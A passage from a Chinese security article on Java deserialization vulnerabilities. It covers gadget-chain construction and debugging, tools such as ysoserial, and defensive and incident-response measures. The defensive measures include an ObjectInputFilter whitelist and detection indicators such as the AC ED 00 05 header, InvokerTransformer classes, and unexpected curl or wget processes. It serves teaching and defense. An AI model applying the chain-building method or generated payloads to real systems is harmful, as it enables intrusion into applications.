类和方法评估其关键字段是否可以通过序列化被设置。即这些字段是否是public的或者是否有setter方法或者是transient但被readObject方法手动处理了。5.2 动态调试验证与组装链条静态分析给出线索动态调试才能确认链条是否通畅。环境搭建准备一个简单的测试项目引入目标库。使用IDEIDEA或Eclipse的远程调试功能。构造PoC从最底层的执行点开始手动编写代码创建对象并尝试调用你认为可能被串联起来的方法。使用调试器一步步跟踪观察对象状态和调用栈。序列化测试将组装好的“疑似入口对象”进行序列化然后立即反序列化在反序列化的readObject方法入口处打上断点跟踪整个流程。解决障碍调试中常会遇到问题访问限制某些类或方法是包私有的。可以尝试在同一个包下创建测试类或者使用反射强行调用/设置。条件判断目标方法内部可能有if判断需要让条件成立。仔细分析判断逻辑通过设置特定字段值来满足条件。异常处理链条执行过程中可能抛出异常中断。需要调整参数或寻找异常处理逻辑中是否还有其他可利用的路径。简化与优化最初的链条可能很冗长。尝试移除不必要的环节看看是否依然能通。优化Payload大小使其更便于传输。5.3 常用工具介绍SerializationDumper一个强大的工具可以将Java序列化数据流解析成人类可读的结构帮助你理解Payload的组成。ysoserial这是反序列化研究的“瑞士军刀”。它集成了几乎所有已知的公共利用链CC, Jdk7u21, CommonsBeanutils, Jython, 等等可以一键生成针对不同链的Payload。它的源码也是学习链条构造的绝佳资料。Burp Suite 插件 – Java Deserialization Scanner在Burp中自动检测目标是否存在Java反序列化漏洞并可以生成和发送测试Payload。GadgetInspector一个静态分析工具可以自动化地扫描Jar包寻找潜在的反序列化利用链。虽然误报率不低但能提供非常有价值的线索。6. 防御策略从开发到运维的立体防护知道了攻击原理防御就有了方向。防御不是单点而是一个体系。6.1 代码层白名单与安全编码首选使用安全的序列化替代方案JSON使用Jackson或Gson并绝对禁用enableDefaultTyping()等自动类型推导功能。只反序列化到确定的、安全的POJO类。其他Protobuf, Thrift, Avro等跨语言序列化方案通常更安全因为它们有预定义的、严格的模式Schema。如果必须使用Java原生序列化严格验证输入源只从可信的、经过认证的来源反序列化数据。使用ObjectInputFilterJDK 9这是最有效的内置防御机制。可以设置一个严格的白名单只允许反序列化应用确实需要的类。// 示例设置一个基于模式的白名单过滤器 ObjectInputFilter filter ObjectInputFilter.Config.createFilter( “maxdepth10;maxarray1000;maxrefs500;java.lang.*;java.util.*;com.yourcompany.safe.*” ); ObjectInputStream ois new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter);重写ObjectInputStream.resolveClass在JDK 9之前可以通过继承ObjectInputStream并重写resolveClass方法对将要反序列化的类进行校验只允许加载预期的类。避免反序列化不可信数据这是根本原则。不要将HTTP参数、Cookie、未经验证的网络数据等直接传递给ObjectInputStream。6.2 依赖与组件层供应链安全依赖库安全管理持续更新及时将第三方库如Commons Collections, Fastjson, Jackson等升级到已知安全的最新版本。使用Maven的versions:display-dependency-updates插件或依赖检查工具如OWASP Dependency-Check定期扫描。最小化引入非必要不引入库。仔细评估库的安全性历史。使用加固版本有些组织提供了常见库的加固版本如commons-collections-k移除了危险类。JVM层加固使用安全管理器SecurityManager配置严格的策略文件限制执行命令、文件读写、网络访问等敏感操作。虽然配置复杂但在关键环境中是强有力的屏障。JVM Agent防护部署RASP运行时应用自我保护产品。RASP通过在JVM层注入探针可以实时监控Runtime.exec、Method.invoke、ClassLoader.defineClass等关键方法的调用结合调用栈分析在恶意行为发生时进行阻断。这是对抗未知利用链的有效手段。6.3 运维与架构层网络隔离与最小权限运行Java应用的服务器应遵循最小权限原则。应用进程使用低权限用户运行限制其网络出站连接防止反弹Shell、外带数据使用容器化技术进行隔离。WAF/IPS规则在网关或防火墙上部署规则检测和拦截常见的序列化魔术头AC ED 00 05是Java序列化流的标志以及已知的利用链特征码。但这只是一种缓解措施无法防御未知攻击或编码后的Payload。监控与审计启用Java应用的安全日志监控异常的反序列化操作、大量的反射调用或进程创建行为。使用APM工具监控应用性能异常的资源消耗可能是被攻击的迹象。7. 实战排查与应急响应指南当怀疑系统存在或正在遭受反序列化攻击时应该怎么做7.1 攻击迹象识别应用异常出现与ClassNotFoundException、NoClassDefFoundError相关的奇怪错误但类路径正常。这可能是攻击者尝试加载不存在的恶意类名。日志中出现可疑类名在异常堆栈或日志中看到来自org.apache.commons.collections.*、com.sun.*、javax.management.*等敏感包下的类并且调用链看起来异常例如从HTTP请求处理直接跳到了InvokerTransformer.transform。系统资源异常CPU或内存突然飙升出现未知的网络连接特别是反向连接有新的可疑进程被创建。WAF/IDS告警网络设备检测到序列化流量或已知攻击特征。7.2 现场分析与取证立即隔离如果可能将受影响实例从负载均衡中摘除但先不要重启或关闭保留现场。抓取数据线程堆栈使用jstack pid或jcmd pid Thread.print命令多次抓取线程堆栈寻找正在执行可疑方法如invoke,exec的线程。堆内存转储使用jmap -dump:live,formatb,fileheap.hprof pid生成堆转储文件。可以用MAT等工具分析查找ChainedTransformer、InvokerTransformer、TemplatesImpl等危险类的实例。网络连接使用netstat -antp或ss -antp查看异常的外联IP和端口。进程信息使用ps auxf查看是否有未知的bash、sh、curl、wget等进程。分析请求检查应用访问日志如Tomcat的localhost_access_log寻找可能包含序列化数据的请求POST Body可能是二进制乱码Content-Type可能非标准。尝试使用SerializationDumper解析请求体。7.3 漏洞定位与修复定位入口根据堆栈信息或日志定位到执行反序列化操作的代码位置哪个Controller、哪个Service、哪个工具方法。评估修复方案短期/紧急修复在入口处直接替换为安全的序列化方案如换用Jackson或者立即添加严格的ObjectInputFilter白名单。如果无法修改代码可以考虑在Web层Filter/Interceptor对请求内容进行检测和拦截。长期修复升级所有存在已知漏洞的第三方依赖库。全面审计代码消除所有不必要的Java原生序列化用法。推动架构改造使用更安全的通信协议和数据格式。回归测试修复后必须进行充分的测试确保业务功能正常并且使用ysoserial等工具生成的Payload确实被拦截。我个人在应急响应中最大的体会是防御反序列化漏洞最好的时机是在编码设计阶段其次就是在漏洞被利用之前。一旦攻击者通过反序列化漏洞获得了立足点往往意味着内网已经失守后续的排查和损失控制会非常困难。因此将安全左移在开发流程中融入对反序列化等危险操作的评审和规范配合严格的依赖管理和运行时监控才能构建起真正有效的防御体系。对于安全研究者而言理解这些链条的构造艺术不是为了攻击而是为了能更深刻地理解软件系统的脆弱点从而设计出更坚固的防御方案。